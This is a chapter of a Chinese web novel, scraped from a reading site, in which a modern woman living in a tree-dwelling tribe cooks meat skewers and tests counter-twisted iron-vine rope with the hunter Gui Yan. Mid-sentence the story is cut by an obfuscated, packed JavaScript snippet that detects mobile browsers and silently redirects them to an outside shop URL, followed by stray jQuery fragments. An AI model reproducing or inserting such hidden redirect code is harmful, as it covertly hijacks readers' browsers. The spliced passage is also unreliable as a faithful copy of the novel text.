文趣网 > 其他小说 > 原始异星搞基建 > 10. 第 10 章
    回到栖母树时已近正午,林筑和木青半拖半抱的把铁藤弄上树台。今天的阳光额外灼人,他们后背的衣服都被洇湿了。

    “就放在这叶子下面好了,小心点。”林筑把铁藤塞进了自己屋旁的一簇叶子后。

    "你们可回来了。"百织从不远处的树干后面探出半个身子,她一眼就发现了那在叶子后隐约可见的铁藤。

    "妈!"木青赶紧往旁一挪试图遮住铁藤,脸上裂出一个介于心虚和强做镇静之间的笑容,慌乱道,“我……我去找鸟蛋……”

    却没想到百织低声打断他,“怎么能去这么久呢!摘铁藤又不需要走远。”

    两人都一愣,“啊?你怎么知道的?”

    “栎疤和我说的。”

    “……他,他居然还和你说了啊。”木青霜打叶子的垂下头。

    林筑也颇为吃惊,没想栎疤不声不响的,居然还很周全的告诉了百织。

    “要不是有他在,我怎么放心让你去,何况还带着阿筑。”百织无奈的叹了口气。

    听到自己的名字,林筑感到更尴尬了,她低下头小声说,“对不起,是我没考虑好。”

    "是我自己非要去的。"木青一梗脖子,“和阿筑没关系。”

    谢谢你的此地无银三百两啊,但是你看你妈信吗?

    百织无奈摇摇头,又对林筑说,"昨天傍晚做饭时你没回来,我就替你做了。"

    林筑脸红了,不好意思地说,“谢谢你……”

    百织原本多少都有些责怪的意思,但看着他们两站桩似的呆立着,一副准备挨批又在使劲想说词的样子,又感到点好笑,"你们以为藏得多好?栖落长老听说你还没回来,只说让你们别误了正事。"

    林筑这下更惆怅了,只觉得自己一把年纪还被当作贪玩的小孩。

    “树台就这么大,什么事情也藏不过她,你们两个偷偷摸摸跟只小鹑鸟似的……”百织意有所指的看了她身后的叶子一眼。

    “妈!”木青涨红着脸嘟囔,挪身试图挡住她的目光。

    "好了好了,赶紧藏好,藏好了来吃点东西。"百织笑道,“肚子饿了吧,我把你们的留下来了。”

    百织转身端了两小碗包果糊糊,林筑喝了几口,栖母族大部分时候不烤包果,他们认为有些费火。这样的生包果糊粉感很重,带着一股青涩味,不难吃但也谈不上好吃,就是能填肚子。

    吃完后林筑从百织那儿出来,阳光晒在脸上热烘烘的。大部分人都出去忙了,这个点树台上几乎没人,只有风吹着阔叶哗啦哗啦响。

    在经过主树台时,她发现一起回来的圭岩没有回木廊,而是留在了中天树台。

    他坐在主树台那几根纠结突出的粗枝上,身边摊着一堆东西:弓箭、石矛、石刀,还有好多不知道用来干什么的零碎。他正在磨石刀,磨几下就停下来对着光看一眼,用拇指肚轻轻蹭噌刃线。

    猎队里的人听说他回树台了,陆陆续续地过来找他,跟排队打卡似的。

    如果有人问了什么,他就回答几句。圭岩做事的时候和吃饭一样,都非常安静专心。林筑来来回回好几次,他都在那儿磨刃口、校弓弦、换绑绳,手头的事情一直没停过,只听见工具发出的细细声响。

    下午林筑开始准备晚饭时,栖落也过来找圭岩,简单聊了两句近况和安排:

    树猿最近很安分,没有靠近栖母族的领地。

    东面木廊的果实已经可以摘了,过几天采集队和猎队一起下去。

    为了飓风季准备的肉干还不太够,最好能再猎几只羽鹿,要准备一次远猎了。

    ……

    晚饭时分,大家朝篝火聚拢。

    今天采集队没有回来,他们似乎去更远的地方为飓风季搜索食物了。留在部落里的人也累了一天,到了这会儿也没多少聊天的兴趣,树台只有木柴燃烧的噼啪声和偶尔几句低语。

    林筑蹲在火边把阔叶包肉依次埋进热灰里,用树枝拨了拨炭火盖好。刚直起身,就看到圭岩走过来,递给她一颗紫葱。

    “把紫葱一起烤了。”他示意。

    “放在叶子包里?”

    圭岩点点头,他回去和栎疤坐在了一起。

    林筑掂着手里圆圆的紫葱,随意的抛接几下,顿时有了个新想法。

    她把紫葱搁在阔叶上,刷刷的切成块,辛辣的气息让她连打了好几个喷嚏。旁边等着吃肉的子芽被呛得偏过头,“阿筑!不要吃这个!”

    “好好好,子芽不吃这个,子芽吃肉。”林筑忙迭声哄她。

    子芽捏着鼻子跑开了,林筑揉揉眼角泪花,折了根直硬的树枝,用石刀把细端削尖。

    羽鹿肉要选里脊,本打算逆着纹理切成小方块,没想到这一步特别费劲,最终成果是差强人意歪歪扭扭的不规则小肉块。

    林筑把肉块和紫葱间隔串好,满意欣赏自己的半成品。很有原始粗犷美感的烤肉串,要是有点盐巴孜然就更美了。

    把三根串斜插在火堆边沿,林筑小心的调整肉块和火的距离。在热力的作用下,肉块表面迅速收紧,很快就从鲜红变成灰褐,油脂滋滋作响。而紫葱的变化比肉慢些,是葱块的边缘开始透明化,焦黄的色块也开始浮现,那是甜美的糖开始焦化。

    林筑转动签子,紫葱的汁水沿着树枝缓缓流下,浸润开始呈现深褐色焦壳的肉块,像给肉裹上层琥珀。第一串在她期待的眼神中烤好了,实在忍不住,林筑咬了口肉。

    这简直是金色传说!

    汁水溢出混着紫葱的甜味,这是动物油脂与植物糖分的绝美融合!

    “喂,那份全是我的吧。”圭岩冷不丁地从旁冒了一句。

    陶醉美味的林筑吓的炸毛,差点没把肉直接囫囵吞下去。

    “我尝尝熟不熟。”她含含糊糊的说。

    “那熟了吗?”圭岩问。

    林筑把肉串递给他。

    是时候让你看看真正的烧烤技术了,这位野生烧烤师。

    圭岩尝试的咬了一小口,眼睛还斜睥着林筑,丰沛的肉汁从那小切口处流出来,顺着树签往下淌。

    这口美味似乎很出乎意料,圭岩睁大了眼睛,然后他赶紧把第一块肉整个咬下来。嚼了两下就吞了,烫的连连哈气。

    头两口或许吃太快了,接下来圭岩放慢了速度,但这次他大口咬下一块肉并一块紫葱,树签在他齿间被拽得直往上。这全新的口感最终征服了他,圭岩细嚼慢咽的缓缓吞下,轻轻嗯了声。

    “不错吧。”林筑得意的说。

    “你为什么做的这么好呢?”圭岩困惑地说,“我已经做的最好了啊。”

    因为美拉德反应,还有焦糖化与脂肪互溶。你以为是天赋吗?不。朋友,这是生活的科学。

    林筑思考片刻,换了个说法,“中天树台能点的篝火更旺,烤串就是需要猛火快攻。”

    “很有道理。”圭岩认可道,他抬起右手,拇指和食指黏合,朝林筑搓了两下。

    “……干啥?”

    你这个手势很像在向我讨钱啊。

    “另外那两根给我啊,难不成你还要吃?”圭岩又搓了两下手指。

    “我就尝了一小口!”林·被怀疑偷吃的厨子·辩白道。

    ……

    此后几天,圭岩都留在了中天树台,大部分时间他都坐在那里无尽的磨武器和造箭矢。部落里的人也来找他帮忙拉弓弦、修石斧,木青还请他指导投矛,圭岩总是有求必应。

    采集队需要深入木廊时便会来找他,他就和猎队一起下木廊,帮忙带回一大背篓的果子。

    林筑也从大家那里听说了更多关于圭岩的细节,他没有自己的屋子,也没有固定的住处。尽管和部落里的人都关系良好,但除了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17770829|209904||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    猎队也没有什么朋友。

    大部分时间他就睡在木廊的随便哪个树洞里,想回中天就回来,想下木廊就下去。只有飓风来时他会和大家一起待在大巫的树洞里,但飓风走后他又再次离开。

    挺离群索居的人,没人知道他这么做的原因,便都简单的归结于他对自身能力的信心。

    这段日子林筑白天照常去采集和做饭,空闲时便处理铁藤。她没有急着把铁藤晒干,而是把铁藤劈成细条来试验,单藤不够结实,她需要思考出更稳固的编法。

    她试过好几种平编法,但这最终都是几根绳子并排受力,手工不可能做到完全一致,最紧的那根总是先断。在多次失败后,林筑想到或许传统的反向捻制才是正确解。

    反向捻制在超大跨度的悬索桥上很常见,简单来说,就是内外钢索采用相反方捻制,这不但能大大提升稳定性,还能提升耐磨和承载能力。

    可大概是在平编法的尝试中花了太多时间,现在铁藤已开始变硬。她好不容易勉强旋紧两股铁藤,刚想把右股从后向前翻压左股就忽然不详的一松。

    林筑后颈汗毛直竖赶紧松手,两股铁藤像就松脱的弓弦,划拉着她的手各自往反方旋转向弹开!

    “好痛!”手掌火辣辣地疼,细细的血珠从伤痕里沁出来。

    “可恶!”林筑怒从心起,握紧拳头,把铁藤一脚踢开!

    哪里受过这种气!以前最多就做做模型,哪里处理过这么奇葩的材料!这种东西就不应该是徒手搞的!就得要有工具!

    ……

    工具啊。

    林筑眼睛一转,那不然找个工具人。

    圭岩果然还坐在他最喜欢的那个阳光宝地,低头吭哧吭哧的做他的打猎小道具们。

    “圭岩,你现在有空吗?”林筑在他旁边弯下腰,“铁藤太硬了,你能来帮帮我吗?”

    圭岩瞄了她一眼,果然答应了,“行”。

    林筑屋前空地。

    林筑正在给圭岩演示如何反向捻绳:

    “就是这样,然后这样,然后——啊!”她赶紧松手,铁藤再次从他手里松脱甩开。

    "你的想法是可以的,但是你每股要再多转一点。"圭岩指指点点道。

    “我已经尽力了。”林筑辩白,“这很难,你帮我按住这头,我就能行了。”

    “不对这才到哪,你要再转——”

    “你行你上!”

    圭岩说上就上,他都不打算一个个来,伸手直接把两根铁藤丝捞起来,两手各持一股旋转捻制作,没几秒藤丝就缩紧变硬。然后他轻描淡写的把右股翻压过左股,两股藤丝瞬间拧成一节。

    他手下不停,搓、翻、搓、翻循环重复,藤绳在他面前顺滑的长出来,没多久就编完了,轻松的像打个了嗝儿。编完后,他甚至非常自然的,将两股末端相互绕两圈,在保持单股加捻的紧绷状态下打了个简单的结。

    “我上了。”圭岩把铁藤往林筑面前一丢,“你学会了吗?”

    “……”

    林筑这辈子还没说过学不会这三个字。

    “眼睛会了。”她特别婉转的说,然后补上,“你好厉害啊。”

    淳朴的原始人圭岩得到了答复和赞扬,满意的走了。

    林筑把那段藤绳绕到东南面的两棵子树之间绷紧,暴晒一天后她用石刀试了试,铁藤的坚硬度完全符合她的期待,纤维绞合后的表面几乎看不出单股的边界。

    为了实验坚韧度,林筑干脆把整个人的重量挂上去,这根细细的实验藤绳只往下沉了一小截,就稳稳地兜住了她。林筑悬在半空中还全力晃了两下,绳子也没有任何松动的迹象。

    坚硬度达标,柔韧度达标。

    实验取得了重大突破和阶段性成果!

    这辈子做过最硬核的材料课作业,现在正把自己挂在东南面的树枝上~